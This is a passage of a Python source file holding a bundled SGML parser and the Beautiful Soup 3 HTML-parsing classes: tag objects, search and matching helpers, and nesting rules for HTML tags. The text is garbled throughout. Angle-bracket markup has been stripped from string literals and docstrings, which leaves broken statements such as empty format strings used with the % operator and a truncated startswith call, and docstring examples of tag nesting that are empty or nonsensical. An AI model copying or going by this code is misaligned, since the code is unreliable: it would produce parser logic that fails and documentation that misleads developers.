r'(\'[^\']*\'|"[^"]*"|[][\-a-zA-Z0-9./,:;+*%?!&$\(\)_#=~\'"@]*))?') class SGMLParseError(RuntimeError): """Exception raised for all parse errors.""" pass # SGML parser base class -- find tags and call handler functions. # Usage: p = SGMLParser(); p.feed(data); ...; p.close(). # The dtd is defined by deriving a class which defines methods # with special names to handle tags: start_foo and end_foo to handle # and , respectively, or do_foo to handle by itself. # (Tags are converted to lower case for this purpose.) The data # between tags is passed to the parser by calling self.handle_data() # with some data as argument (the data may be split up in arbitrary # chunks). Entity references are passed by calling # self.handle_entityref() with the entity reference as argument. class SGMLParser(markupbase.ParserBase): # Definition of entities -- derived classes may override entity_or_charref = re.compile('&(?:' '([a-zA-Z][-.a-zA-Z0-9]*)|#([0-9]+)' ')(;?)') def __init__(self, verbose=0): """Initialize and reset this instance.""" self.verbose = verbose self.reset() def reset(self): """Reset this instance. Loses all unprocessed data.""" self.__starttag_text = None self.rawdata = '' self.stack = [] self.lasttag = '???' self.nomoretags = 0 self.literal = 0 markupbase.ParserBase.reset(self) def setnomoretags(self): """Enter literal mode (CDATA) till EOF. Intended for derived classes only. """ self.nomoretags = self.literal = 1 def setliteral(self, *args): """Enter literal mode (CDATA). Intended for derived classes only. """ self.literal = 1 def feed(self, data): """Feed some data to the parser. Call this as often as you want, with as little or as much text as you want (may include '\n'). (This just saves the text, all the processing is done by goahead().) """ self.rawdata = self.rawdata + data self.goahead(0) def close(self): """Handle the remaining data.""" self.goahead(1) def error(self, message): raise SGMLParseError(message) # Internal -- handle data as far as reasonable. May leave state # and data to be processed by a subsequent call. If 'end' is # true, force handling all data as if followed by EOF marker. def goahead(self, end): rawdata = self.rawdata i = 0 n = len(rawdata) while i < n: if self.nomoretags: self.handle_data(rawdata[i:n]) i = n break match = interesting.search(rawdata, i) if match: j = match.start() else: j = n if i < j: self.handle_data(rawdata[i:j]) i = j if i == n: break if rawdata[i] == '<': if starttagopen.match(rawdata, i): if self.literal: self.handle_data(rawdata[i]) i = i + 1 continue k = self.parse_starttag(i) if k < 0: break i = k continue if rawdata.startswith(" (i + 1): self.handle_data("<") i = i + 1 else: # incomplete break continue if rawdata.startswith("" % NavigableString.__str__(self, encoding) class Declaration(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): return "" % NavigableString.__str__(self, encoding) class Tag(PageElement): """Represents a found HTML tag with its attributes and contents.""" def _convertEntities(self, match): """Used in a call to re.sub to replace HTML, XML, and numeric entities with the appropriate Unicode characters. If HTML entities are being converted, any unrecognized entities are escaped.""" try: x = match.group(1) if self.convertHTMLEntities and x in name2codepoint: return unichr(name2codepoint[x]) elif x in self.XML_ENTITIES_TO_SPECIAL_CHARS: if self.convertXMLEntities: return self.XML_ENTITIES_TO_SPECIAL_CHARS[x] else: return u'&%s;' % x elif len(x) > 0 and x[0] == '#': # Handle numeric entities if len(x) > 1 and x[1] == 'x': return unichr(int(x[2:], 16)) else: return unichr(int(x[1:])) elif self.escapeUnrecognizedEntities: return u'&%s;' % x except ValueError: # e.g. ValueError: unichr() arg not in range(0x10000) pass return u'&%s;' % x def __init__(self, parser, name, attrs=None, parent=None, previous=None): "Basic constructor." # We don't actually store the parser object: that lets extracted # chunks be garbage-collected self.parserClass = parser.__class__ self.isSelfClosing = parser.isSelfClosingTag(name) self.name = name if attrs is None: attrs = [] elif isinstance(attrs, dict): attrs = attrs.items() self.attrs = attrs self.contents = [] self.setup(parent, previous) self.hidden = False self.containsSubstitutions = False self.convertHTMLEntities = parser.convertHTMLEntities self.convertXMLEntities = parser.convertXMLEntities self.escapeUnrecognizedEntities = parser.escapeUnrecognizedEntities # Convert any HTML, XML, or numeric entities in the attribute values. # Reference: https://github.com/pkrumins/xgoogle/pull/16/commits/3dba1165c436b0d6e5bdbd09e53ca0dbf8a043f8 convert = lambda k_val: (k_val[0], re.sub(r"&(#\d+|#x[0-9a-fA-F]+|\w+);", self._convertEntities, k_val[1])) self.attrs = map(convert, self.attrs) def getString(self): if (len(self.contents) == 1 and isinstance(self.contents[0], NavigableString)): return self.contents[0] def setString(self, string): """Replace the contents of the tag with a string""" self.clear() self.append(string) string = property(getString, setString) def getText(self, separator=u""): if not len(self.contents): return u"" stopNode = self._lastRecursiveChild().next strings = [] current = self.contents[0] while current and current is not stopNode: if isinstance(current, NavigableString): strings.append(current.strip()) current = current.next return separator.join(strings) text = property(getText) def get(self, key, default=None): """Returns the value of the 'key' attribute for the tag, or the value given for 'default' if it doesn't have that attribute.""" return self._getAttrMap().get(key, default) def clear(self): """Extract all children.""" for child in self.contents[:]: child.extract() def index(self, element): for i, child in enumerate(self.contents): if child is element: return i raise ValueError("Tag.index: element not in tag") def has_key(self, key): return self._getAttrMap().has_key(key) def __getitem__(self, key): """tag[key] returns the value of the 'key' attribute for the tag, and throws an exception if it's not there.""" return self._getAttrMap()[key] def __iter__(self): "Iterating over a tag iterates over its contents." return iter(self.contents) def __len__(self): "The length of a tag is the length of its list of contents." return len(self.contents) def __contains__(self, x): return x in self.contents def __nonzero__(self): "A tag is non-None even if it has no contents." return True def __setitem__(self, key, value): """Setting tag[key] sets the value of the 'key' attribute for the tag.""" self._getAttrMap() self.attrMap[key] = value found = False for i in xrange(0, len(self.attrs)): if self.attrs[i][0] == key: self.attrs[i] = (key, value) found = True if not found: self.attrs.append((key, value)) self._getAttrMap()[key] = value def __delitem__(self, key): "Deleting tag[key] deletes all 'key' attributes for the tag." for item in self.attrs: if item[0] == key: self.attrs.remove(item) #We don't break because bad HTML can define the same #attribute multiple times. self._getAttrMap() if self.attrMap.has_key(key): del self.attrMap[key] def __call__(self, *args, **kwargs): """Calling a tag like a function is the same as calling its findAll() method. Eg. tag('a') returns a list of all the A tags found within this tag.""" return self.findAll(*args, **kwargs) def __getattr__(self, tag): #print "Getattr %s.%s" % (self.__class__, tag) if len(tag) > 3 and tag.rfind('Tag') == len(tag)-3: return self.find(tag[:-3]) elif tag.find('__') != 0: return self.find(tag) raise AttributeError("'%s' object has no attribute '%s'" % (self.__class__, tag)) def __eq__(self, other): """Returns true iff this tag has the same name, the same attributes, and the same contents (recursively) as the given tag. NOTE: right now this will return false if two tags have the same attributes in a different order. Should this be fixed?""" if other is self: return True if not hasattr(other, 'name') or not hasattr(other, 'attrs') or not hasattr(other, 'contents') or self.name != other.name or self.attrs != other.attrs or len(self) != len(other): return False for i in xrange(0, len(self.contents)): if self.contents[i] != other.contents[i]: return False return True def __ne__(self, other): """Returns true iff this tag is not identical to the other tag, as defined in __eq__.""" return not self == other def __repr__(self, encoding=DEFAULT_OUTPUT_ENCODING): """Renders this tag as a string.""" return self.__str__(encoding) def __unicode__(self): return self.__str__(None) def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING, prettyPrint=False, indentLevel=0): """Returns a string or Unicode representation of this tag and its contents. To get Unicode, pass None for encoding. NOTE: since Python's HTML parser consumes whitespace, this method is not certain to reproduce the whitespace present in the original string.""" encodedName = self.toEncoding(self.name, encoding) attrs = [] if self.attrs: for key, val in self.attrs: fmt = '%s="%s"' if isinstance(val, basestring): if self.containsSubstitutions and '%SOUP-ENCODING%' in val: val = self.substituteEncoding(val, encoding) # The attribute value either: # # * Contains no embedded double quotes or single quotes. # No problem: we enclose it in double quotes. # * Contains embedded single quotes. No problem: # double quotes work here too. # * Contains embedded double quotes. No problem: # we enclose it in single quotes. # * Embeds both single _and_ double quotes. This # can't happen naturally, but it can happen if # you modify an attribute value after parsing # the document. Now we have a bit of a # problem. We solve it by enclosing the # attribute in single quotes, and escaping any # embedded single quotes to XML entities. if '"' in val: fmt = "%s='%s'" if "'" in val: # TODO: replace with apos when # appropriate. val = val.replace("'", "&squot;") # Now we're okay w/r/t quotes. But the attribute # value might also contain angle brackets, or # ampersands that aren't part of entities. We need # to escape those to XML entities too. val = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, val) attrs.append(fmt % (self.toEncoding(key, encoding), self.toEncoding(val, encoding))) close = '' closeTag = '' if self.isSelfClosing: close = ' /' else: closeTag = '' % encodedName indentTag, indentContents = 0, 0 if prettyPrint: indentTag = indentLevel space = (' ' * (indentTag-1)) indentContents = indentTag + 1 contents = self.renderContents(encoding, prettyPrint, indentContents) if self.hidden: s = contents else: s = [] attributeString = '' if attrs: attributeString = ' ' + ' '.join(attrs) if prettyPrint: s.append(space) s.append('<%s%s%s>' % (encodedName, attributeString, close)) if prettyPrint: s.append("\n") s.append(contents) if prettyPrint and contents and contents[-1] != "\n": s.append("\n") if prettyPrint and closeTag: s.append(space) s.append(closeTag) if prettyPrint and closeTag and self.nextSibling: s.append("\n") s = ''.join(s) return s def decompose(self): """Recursively destroys the contents of this tree.""" self.extract() if len(self.contents) == 0: return current = self.contents[0] while current is not None: next = current.next if isinstance(current, Tag): del current.contents[:] current.parent = None current.previous = None current.previousSibling = None current.next = None current.nextSibling = None current = next def prettify(self, encoding=DEFAULT_OUTPUT_ENCODING): return self.__str__(encoding, True) def renderContents(self, encoding=DEFAULT_OUTPUT_ENCODING, prettyPrint=False, indentLevel=0): """Renders the contents of this tag as a string in the given encoding. If encoding is None, returns a Unicode string..""" s=[] for c in self: text = None if isinstance(c, NavigableString): text = c.__str__(encoding) elif isinstance(c, Tag): s.append(c.__str__(encoding, prettyPrint, indentLevel)) if text and prettyPrint: text = text.strip() if text: if prettyPrint: s.append(" " * (indentLevel-1)) s.append(text) if prettyPrint: s.append("\n") return ''.join(s) #Soup methods def find(self, name=None, attrs={}, recursive=True, text=None, **kwargs): """Return only the first child of this Tag matching the given criteria.""" r = None l = self.findAll(name, attrs, recursive, text, 1, **kwargs) if l: r = l[0] return r findChild = find def findAll(self, name=None, attrs={}, recursive=True, text=None, limit=None, **kwargs): """Extracts a list of Tag objects that match the given criteria. You can specify the name of the Tag and any attributes you want the Tag to have. The value of a key-value pair in the 'attrs' map can be a string, a list of strings, a regular expression object, or a callable that takes a string and returns whether or not the string matches for some custom definition of 'matches'. The same is true of the tag name.""" generator = self.recursiveChildGenerator if not recursive: generator = self.childGenerator return self._findAll(name, attrs, text, limit, generator, **kwargs) findChildren = findAll # Pre-3.x compatibility methods first = find fetch = findAll def fetchText(self, text=None, recursive=True, limit=None): return self.findAll(text=text, recursive=recursive, limit=limit) def firstText(self, text=None, recursive=True): return self.find(text=text, recursive=recursive) #Private methods def _getAttrMap(self): """Initializes a map representation of this tag's attributes, if not already initialized.""" if not getattr(self, 'attrMap'): self.attrMap = {} for (key, value) in self.attrs: self.attrMap[key] = value return self.attrMap #Generator methods def childGenerator(self): # Just use the iterator from the contents return iter(self.contents) def recursiveChildGenerator(self): if not len(self.contents): return # Note: https://stackoverflow.com/a/30217723 (PEP 479) stopNode = self._lastRecursiveChild().next current = self.contents[0] while current and current is not stopNode: yield current current = current.next # Next, a couple classes to represent queries and their results. class SoupStrainer: """Encapsulates a number of ways of matching a markup element (tag or text).""" def __init__(self, name=None, attrs={}, text=None, **kwargs): self.name = name if isinstance(attrs, basestring): kwargs['class'] = _match_css_class(attrs) attrs = None if kwargs: if attrs: attrs = attrs.copy() attrs.update(kwargs) else: attrs = kwargs self.attrs = attrs self.text = text def __str__(self): if self.text: return self.text else: return "%s|%s" % (self.name, self.attrs) def searchTag(self, markupName=None, markupAttrs={}): found = None markup = None if isinstance(markupName, Tag): markup = markupName markupAttrs = markup callFunctionWithTagData = callable(self.name) \ and not isinstance(markupName, Tag) if (not self.name) \ or callFunctionWithTagData \ or (markup and self._matches(markup, self.name)) \ or (not markup and self._matches(markupName, self.name)): if callFunctionWithTagData: match = self.name(markupName, markupAttrs) else: match = True markupAttrMap = None for attr, matchAgainst in self.attrs.items(): if not markupAttrMap: if hasattr(markupAttrs, 'get'): markupAttrMap = markupAttrs else: markupAttrMap = {} for k,v in markupAttrs: markupAttrMap[k] = v attrValue = markupAttrMap.get(attr) if not self._matches(attrValue, matchAgainst): match = False break if match: if markup: found = markup else: found = markupName return found def search(self, markup): #print 'looking for %s in %s' % (self, markup) found = None # If given a list of items, scan it for a text element that # matches. if hasattr(markup, "__iter__") \ and not isinstance(markup, Tag): for element in markup: if isinstance(element, NavigableString) \ and self.search(element): found = element break # If it's a Tag, make sure its name or attributes match. # Don't bother with Tags if we're searching for text. elif isinstance(markup, Tag): if not self.text: found = self.searchTag(markup) # If it's text, make sure the text matches. elif isinstance(markup, NavigableString) or \ isinstance(markup, basestring): if self._matches(markup, self.text): found = markup else: raise Exception("I don't know how to match against a %s" \ % markup.__class__) return found def _matches(self, markup, matchAgainst): #print "Matching %s against %s" % (markup, matchAgainst) result = False if matchAgainst is True: result = markup is not None elif callable(matchAgainst): result = matchAgainst(markup) else: #Custom match methods take the tag as an argument, but all #other ways of matching match the tag name as a string. if isinstance(markup, Tag): markup = markup.name if markup and not isinstance(markup, basestring): markup = text_type(markup) #Now we know that chunk is either a string, or None. if hasattr(matchAgainst, 'match'): # It's a regexp object. result = markup and matchAgainst.search(markup) elif hasattr(matchAgainst, '__iter__'): # list-like result = markup in matchAgainst elif hasattr(matchAgainst, 'items'): result = markup.has_key(matchAgainst) elif matchAgainst and isinstance(markup, basestring): if isinstance(markup, text_type): matchAgainst = text_type(matchAgainst) else: matchAgainst = str(matchAgainst) if not result: result = matchAgainst == markup return result class ResultSet(list): """A ResultSet is just a list that keeps track of the SoupStrainer that created it.""" def __init__(self, source): list.__init__([]) self.source = source # Now, some helper functions. def buildTagMap(default, *args): """Turns a list of maps, lists, or scalars into a single map. Used to build the SELF_CLOSING_TAGS, NESTABLE_TAGS, and NESTING_RESET_TAGS maps out of lists and partial maps.""" built = {} for portion in args: if hasattr(portion, 'items'): #It's a map. Merge it. for k,v in portion.items(): built[k] = v elif hasattr(portion, '__iter__'): # is a list #It's a list. Map each item to the default. for k in portion: built[k] = default else: #It's a scalar. Map it to the default. built[portion] = default return built # Now, the parser classes. class BeautifulStoneSoup(Tag, sgmllib.SGMLParser): """This class contains the basic parser and search code. It defines a parser that knows nothing about tag behavior except for the following: You can't close a tag without closing all the tags it encloses. That is, "" actually means "". [Another possible explanation is "", but since this class defines no SELF_CLOSING_TAGS, it will never use that explanation.] This class is useful for parsing XML or made-up markup languages, or when BeautifulSoup makes an assumption counter to what you were expecting.""" SELF_CLOSING_TAGS = {} NESTABLE_TAGS = {} RESET_NESTING_TAGS = {} QUOTE_TAGS = {} PRESERVE_WHITESPACE_TAGS = [] MARKUP_MASSAGE = [(re.compile(r'(<[^<>]*)/>'), lambda x: x.group(1) + ' />'), (re.compile(r']*)>'), lambda x: '') ] ROOT_TAG_NAME = u'[document]' HTML_ENTITIES = "html" XML_ENTITIES = "xml" XHTML_ENTITIES = "xhtml" # TODO: This only exists for backwards-compatibility ALL_ENTITIES = XHTML_ENTITIES # Used when determining whether a text node is all whitespace and # can be replaced with a single space. A text node that contains # fancy Unicode spaces (usually non-breaking) should be left # alone. STRIP_ASCII_SPACES = { 9: None, 10: None, 12: None, 13: None, 32: None, } def __init__(self, markup="", parseOnlyThese=None, fromEncoding=None, markupMassage=True, smartQuotesTo=XML_ENTITIES, convertEntities=None, selfClosingTags=None, isHTML=False): """The Soup object is initialized as the 'root tag', and the provided markup (which can be a string or a file-like object) is fed into the underlying parser. sgmllib will process most bad HTML, and the BeautifulSoup class has some tricks for dealing with some HTML that kills sgmllib, but Beautiful Soup can nonetheless choke or lose data if your data uses self-closing tags or declarations incorrectly. By default, Beautiful Soup uses regexes to sanitize input, avoiding the vast majority of these problems. If the problems don't apply to you, pass in False for markupMassage, and you'll get better performance. The default parser massage techniques fix the two most common instances of invalid HTML that choke sgmllib:
    (No space between name of closing tag and tag close) (Extraneous whitespace in declaration) You can pass in a custom list of (RE object, replace method) tuples to get Beautiful Soup to scrub your input the way you want.""" self.parseOnlyThese = parseOnlyThese self.fromEncoding = fromEncoding self.smartQuotesTo = smartQuotesTo self.convertEntities = convertEntities # Set the rules for how we'll deal with the entities we # encounter if self.convertEntities: # It doesn't make sense to convert encoded characters to # entities even while you're converting entities to Unicode. # Just convert it all to Unicode. self.smartQuotesTo = None if convertEntities == self.HTML_ENTITIES: self.convertXMLEntities = False self.convertHTMLEntities = True self.escapeUnrecognizedEntities = True elif convertEntities == self.XHTML_ENTITIES: self.convertXMLEntities = True self.convertHTMLEntities = True self.escapeUnrecognizedEntities = False elif convertEntities == self.XML_ENTITIES: self.convertXMLEntities = True self.convertHTMLEntities = False self.escapeUnrecognizedEntities = False else: self.convertXMLEntities = False self.convertHTMLEntities = False self.escapeUnrecognizedEntities = False self.instanceSelfClosingTags = buildTagMap(None, selfClosingTags) sgmllib.SGMLParser.__init__(self) if hasattr(markup, 'read'): # It's a file-type object. markup = markup.read() self.markup = markup self.markupMassage = markupMassage try: self._feed(isHTML=isHTML) except StopParsing: pass self.markup = None # The markup can now be GCed def convert_charref(self, name): """This method fixes a bug in Python's SGMLParser.""" try: n = int(name) except ValueError: return if not 0 <= n <= 127 : # ASCII ends at 127, not 255 return return self.convert_codepoint(n) def _feed(self, inDocumentEncoding=None, isHTML=False): # Convert the document to Unicode. markup = self.markup if isinstance(markup, text_type): if not hasattr(self, 'originalEncoding'): self.originalEncoding = None else: dammit = UnicodeDammit\ (markup, [self.fromEncoding, inDocumentEncoding], smartQuotesTo=self.smartQuotesTo, isHTML=isHTML) markup = dammit.unicode self.originalEncoding = dammit.originalEncoding self.declaredHTMLEncoding = dammit.declaredHTMLEncoding if markup: if self.markupMassage: if not hasattr(self.markupMassage, "__iter__"): self.markupMassage = self.MARKUP_MASSAGE for fix, m in self.markupMassage: markup = fix.sub(m, markup) # TODO: We get rid of markupMassage so that the # soup object can be deepcopied later on. Some # Python installations can't copy regexes. If anyone # was relying on the existence of markupMassage, this # might cause problems. del(self.markupMassage) self.reset() sgmllib.SGMLParser.feed(self, markup) # Close out any unfinished strings and close all the open tags. self.endData() while self.currentTag.name != self.ROOT_TAG_NAME: self.popTag() def __getattr__(self, methodName): """This method routes method call requests to either the SGMLParser superclass or the Tag superclass, depending on the method name.""" #print "__getattr__ called on %s.%s" % (self.__class__, methodName) if methodName.startswith('start_') or methodName.startswith('end_') \ or methodName.startswith('do_'): return sgmllib.SGMLParser.__getattr__(self, methodName) elif not methodName.startswith('__'): return Tag.__getattr__(self, methodName) else: raise AttributeError def isSelfClosingTag(self, name): """Returns true iff the given string is the name of a self-closing tag according to this parser.""" return name in self.SELF_CLOSING_TAGS \ or name in self.instanceSelfClosingTags def reset(self): Tag.__init__(self, self, self.ROOT_TAG_NAME) self.hidden = 1 sgmllib.SGMLParser.reset(self) self.currentData = [] self.currentTag = None self.tagStack = [] self.quoteStack = [] self.pushTag(self) def popTag(self): tag = self.tagStack.pop() #print "Pop", tag.name if self.tagStack: self.currentTag = self.tagStack[-1] return self.currentTag def pushTag(self, tag): #print "Push", tag.name if self.currentTag: self.currentTag.contents.append(tag) self.tagStack.append(tag) self.currentTag = self.tagStack[-1] def endData(self, containerClass=NavigableString): if self.currentData: currentData = u''.join(self.currentData) if (currentData.translate(self.STRIP_ASCII_SPACES) == '' and not set([tag.name for tag in self.tagStack]).intersection( self.PRESERVE_WHITESPACE_TAGS)): if '\n' in currentData: currentData = '\n' else: currentData = ' ' self.currentData = [] if self.parseOnlyThese and len(self.tagStack) <= 1 and \ (not self.parseOnlyThese.text or \ not self.parseOnlyThese.search(currentData)): return o = containerClass(currentData) o.setup(self.currentTag, self.previous) if self.previous: self.previous.next = o self.previous = o self.currentTag.contents.append(o) def _popToTag(self, name, inclusivePop=True): """Pops the tag stack up to and including the most recent instance of the given tag. If inclusivePop is false, pops the tag stack up to but *not* including the most recent instqance of the given tag.""" #print "Popping to %s" % name if name == self.ROOT_TAG_NAME: return numPops = 0 mostRecentTag = None for i in xrange(len(self.tagStack)-1, 0, -1): if name == self.tagStack[i].name: numPops = len(self.tagStack)-i break if not inclusivePop: numPops = numPops - 1 for i in xrange(0, numPops): mostRecentTag = self.popTag() return mostRecentTag def _smartPop(self, name): """We need to pop up to the previous tag of this type, unless one of this tag's nesting reset triggers comes between this tag and the previous tag of this type, OR unless this tag is a generic nesting trigger and another generic nesting trigger comes between this tag and the previous tag of this type. Examples:

    FooBar *

    * should pop to 'p', not 'b'.

    FooBar *

    * should pop to 'table', not 'p'.

    Foo

    Bar *

    * should pop to 'tr', not 'p'.

    • *
    • * should pop to 'ul', not the first 'li'.
  • ** should pop to 'table', not the first 'tr' tag should implicitly close the previous tag within the same
    ** should pop to 'tr', not the first 'td' """ nestingResetTriggers = self.NESTABLE_TAGS.get(name) isNestable = nestingResetTriggers != None isResetNesting = name in self.RESET_NESTING_TAGS popTo = None inclusive = True for i in xrange(len(self.tagStack)-1, 0, -1): p = self.tagStack[i] if (not p or p.name == name) and not isNestable: #Non-nestable tags get popped to the top or to their #last occurance. popTo = name break if (nestingResetTriggers is not None and p.name in nestingResetTriggers) \ or (nestingResetTriggers is None and isResetNesting and p.name in self.RESET_NESTING_TAGS): #If we encounter one of the nesting reset triggers #peculiar to this tag, or we encounter another tag #that causes nesting to reset, pop up to but not #including that tag. popTo = p.name inclusive = False break p = p.parent if popTo: self._popToTag(popTo, inclusive) def unknown_starttag(self, name, attrs, selfClosing=0): #print "Start tag %s: %s" % (name, attrs) if self.quoteStack: #This is not a real tag. #print "<%s> is not real!" % name attrs = ''.join([' %s="%s"' % (x, y) for x, y in attrs]) self.handle_data('<%s%s>' % (name, attrs)) return self.endData() if not self.isSelfClosingTag(name) and not selfClosing: self._smartPop(name) if self.parseOnlyThese and len(self.tagStack) <= 1 \ and (self.parseOnlyThese.text or not self.parseOnlyThese.searchTag(name, attrs)): return tag = Tag(self, name, attrs, self.currentTag, self.previous) if self.previous: self.previous.next = tag self.previous = tag self.pushTag(tag) if selfClosing or self.isSelfClosingTag(name): self.popTag() if name in self.QUOTE_TAGS: #print "Beginning quote (%s)" % name self.quoteStack.append(name) self.literal = 1 return tag def unknown_endtag(self, name): #print "End tag %s" % name if self.quoteStack and self.quoteStack[-1] != name: #This is not a real end tag. #print " is not real!" % name self.handle_data('' % name) return self.endData() self._popToTag(name) if self.quoteStack and self.quoteStack[-1] == name: self.quoteStack.pop() self.literal = (len(self.quoteStack) > 0) def handle_data(self, data): self.currentData.append(data) def _toStringSubclass(self, text, subclass): """Adds a certain piece of text to the tree as a NavigableString subclass.""" self.endData() self.handle_data(text) self.endData(subclass) def handle_pi(self, text): """Handle a processing instruction as a ProcessingInstruction object, possibly one with a %SOUP-ENCODING% slot into which an encoding will be plugged later.""" if text[:3] == "xml": text = u"xml version='1.0' encoding='%SOUP-ENCODING%'" self._toStringSubclass(text, ProcessingInstruction) def handle_comment(self, text): "Handle comments as Comment objects." self._toStringSubclass(text, Comment) def handle_charref(self, ref): "Handle character references as data." if self.convertEntities: data = unichr(int(ref)) else: data = '&#%s;' % ref self.handle_data(data) def handle_entityref(self, ref): """Handle entity references as data, possibly converting known HTML and/or XML entity references to the corresponding Unicode characters.""" data = None if self.convertHTMLEntities: try: data = unichr(name2codepoint[ref]) except KeyError: pass if not data and self.convertXMLEntities: data = self.XML_ENTITIES_TO_SPECIAL_CHARS.get(ref) if not data and self.convertHTMLEntities and \ not self.XML_ENTITIES_TO_SPECIAL_CHARS.get(ref): # TODO: We've got a problem here. We're told this is # an entity reference, but it's not an XML entity # reference or an HTML entity reference. Nonetheless, # the logical thing to do is to pass it through as an # unrecognized entity reference. # # Except: when the input is "&carol;" this function # will be called with input "carol". When the input is # "AT&T", this function will be called with input # "T". We have no way of knowing whether a semicolon # was present originally, so we don't know whether # this is an unknown entity or just a misplaced # ampersand. # # The more common case is a misplaced ampersand, so I # escape the ampersand and omit the trailing semicolon. data = "&%s" % ref if not data: # This case is different from the one above, because we # haven't already gone through a supposedly comprehensive # mapping of entities to Unicode characters. We might not # have gone through any mapping at all. So the chances are # very high that this is a real entity, and not a # misplaced ampersand. data = "&%s;" % ref self.handle_data(data) def handle_decl(self, data): "Handle DOCTYPEs and the like as Declaration objects." self._toStringSubclass(data, Declaration) def parse_declaration(self, i): """Treat a bogus SGML declaration as raw data. Treat a CDATA declaration as a CData object.""" j = None if self.rawdata[i:i+9] == '', i) if k == -1: k = len(self.rawdata) data = self.rawdata[i+9:k] j = k+3 self._toStringSubclass(data, CData) else: try: j = sgmllib.SGMLParser.parse_declaration(self, i) except sgmllib.SGMLParseError: toHandle = self.rawdata[i:] self.handle_data(toHandle) j = i + len(toHandle) return j class BeautifulSoup(BeautifulStoneSoup): """This parser knows the following facts about HTML: * Some tags have no closing tag and should be interpreted as being closed as soon as they are encountered. * The text inside some tags (ie. 'script') may contain tags which are not really part of the document and which should be parsed as text, not tags. If you want to parse the text as tags, you can always fetch it and parse it explicitly. * Tag nesting rules: Most tags can't be nested at all. For instance, the occurance of a

    tag should implicitly close the previous

    tag.

    Para1

    Para2 should be transformed into:

    Para1

    Para2 Some tags can be nested arbitrarily. For instance, the occurance of a

    tag should _not_ implicitly close the previous
    tag. Alice said:
    Bob said:
    Blah should NOT be transformed into: Alice said:
    Bob said:
    Blah Some tags can be nested, but the nesting is reset by the interposition of other tags. For instance, a
    , but not close a tag in another table.
    BlahBlah should be transformed into:
    BlahBlah but, Blah
    Blah should NOT be transformed into Blah
    Blah Differing assumptions about tag nesting rules are a major source of problems with the BeautifulSoup class. If BeautifulSoup is not treating as nestable a tag your page author treats as nestable, try ICantBelieveItsBeautifulSoup, MinimalSoup, or BeautifulStoneSoup before writing your own subclass.""" def __init__(self, *args, **kwargs): if 'smartQuotesTo' not in kwargs: kwargs['smartQuotesTo'] = self.HTML_ENTITIES kwargs['isHTML'] = True BeautifulStoneSoup.__init__(self, *args, **kwargs) SELF_CLOSING_TAGS = buildTagMap(None, ('br' , 'hr', 'input', 'img', 'meta', 'spacer', 'link', 'frame', 'base', 'col')) PRESERVE_WHITESPACE_TAGS = set(['pre', 'textarea']) QUOTE_TAGS = {'script' : None, 'textarea' : None} #According to the HTML standard, each of these inline tags can #contain another tag of the same type. Furthermore, it's common #to actually use these tags this way. NESTABLE_INLINE_TAGS = ('span', 'font', 'q', 'object', 'bdo', 'sub', 'sup', 'center') #According to the HTML standard, these block tags can contain #another tag of the same type. Furthermore, it's common #to actually use these tags this way. NESTABLE_BLOCK_TAGS = ('blockquote', 'div', 'fieldset', 'ins', 'del') #Lists can contain other lists, but there are restrictions. NESTABLE_LIST_TAGS = { 'ol' : [], 'ul' : [], 'li' : ['ul', 'ol'], 'dl' : [], 'dd' : ['dl'], 'dt' : ['dl'] } #Tables can contain other tables, but there are restrictions. NESTABLE_TABLE_TAGS = {'table' : [], 'tr' : ['table', 'tbody', 'tfoot', 'thead'], 'td' : ['tr'], 'th' : ['tr'], 'thead' : ['table'], 'tbody' : ['table'], 'tfoot' : ['table'], } NON_NESTABLE_BLOCK_TAGS = ('address', 'form', 'p', 'pre') #If one of these tags is encountered, all tags up to the next tag of #this type are popped. RESET_NESTING_TAGS = buildTagMap(None, NESTABLE_BLOCK_TAGS, 'noscript', NON_NESTABLE_BLOCK_TAGS, NESTABLE_LIST_TAGS, NESTABLE_TABLE_TAGS) NESTABLE_TAGS = buildTagMap([], NESTABLE_INLINE_TAGS, NESTABLE_BLOCK_TAGS, NESTABLE_LIST_TAGS, NESTABLE_TABLE_TAGS) # Used to detect the charset in a META tag; see start_meta CHARSET_RE = re.compile(r"((^|;)\s*charset=)([^;]*)", re.M) def start_meta(self, attrs): """Beautiful Soup can detect a charset included in a META tag, try to convert the document to that charset, and re-parse the document from the beginning.""" httpEquiv = None contentType = None contentTypeIndex = None tagNeedsEncodingSubstitution = False for i in xrange(0, len(attrs)): key, value = attrs[i] key = key.lower() if key == 'http-equiv': httpEquiv = value elif key == 'content': contentType = value contentTypeIndex = i if httpEquiv and contentType: # It's an interesting meta tag. match = self.CHARSET_RE.search(contentType) if match: if (self.declaredHTMLEncoding is not None or self.originalEncoding == self.fromEncoding): # An HTML encoding was sniffed while converting # the document to Unicode, or an HTML encoding was # sniffed during a previous pass through the # document, or an encoding was specified # explicitly and it worked. Rewrite the meta tag. def rewrite(match): return match.group(1) + "%SOUP-ENCODING%" newAttr = self.CHARSET_RE.sub(rewrite, contentType) attrs[contentTypeIndex] = (attrs[contentTypeIndex][0], newAttr) tagNeedsEncodingSubstitution = True else: # This is our first pass through the document. # Go through it again with the encoding information. newCharset = match.group(3) if newCharset and newCharset != self.originalEncoding: self.declaredHTMLEncoding = newCharset self._feed(self.declaredHTMLEncoding) raise StopParsing pass tag = self.unknown_starttag("meta", attrs) if tag and tagNeedsEncodingSubstitution: tag.containsSubstitutions = True class StopParsing(Exception): pass class ICantBelieveItsBeautifulSoup(BeautifulSoup): """The BeautifulSoup class is oriented towards skipping over common HTML errors like unclosed tags. However, sometimes it makes errors of its own. For instance, consider this fragment: FooBar This is perfectly valid (if bizarre) HTML. However, the BeautifulSoup class will implicitly close the first b tag when it encounters the second 'b'. It will think the author wrote "FooBar", and didn't close the first 'b' tag, because there's no real-world reason to bold something that's already bold. When it encounters '' it will close two more 'b' tags, for a grand total of three tags closed instead of two. This can throw off the rest of your document structure. The same is true of a number of other tags, listed below. It's much more common for someone to forget to close a 'b' tag than to actually use nested 'b' tags, and the BeautifulSoup class handles the common case. This class handles the not-co-common case: where you can't believe someone wrote what they did, but it's valid HTML and BeautifulSoup screwed up by assuming it wouldn't be.""" I_CANT_BELIEVE_THEYRE_NESTABLE_INLINE_TAGS = \ ('em', 'big', 'i', 'small', 'tt', 'abbr', 'acronym', 'strong', 'cite', 'code', 'dfn', 'kbd', 'samp', 'strong', 'var', 'b', 'big') I_CANT_BELIEVE_THEYRE_NESTABLE_BLOCK_TAGS = ('noscript',) NESTABLE_TAGS = buildTagMap([], BeautifulSoup.NESTABLE_TAGS, 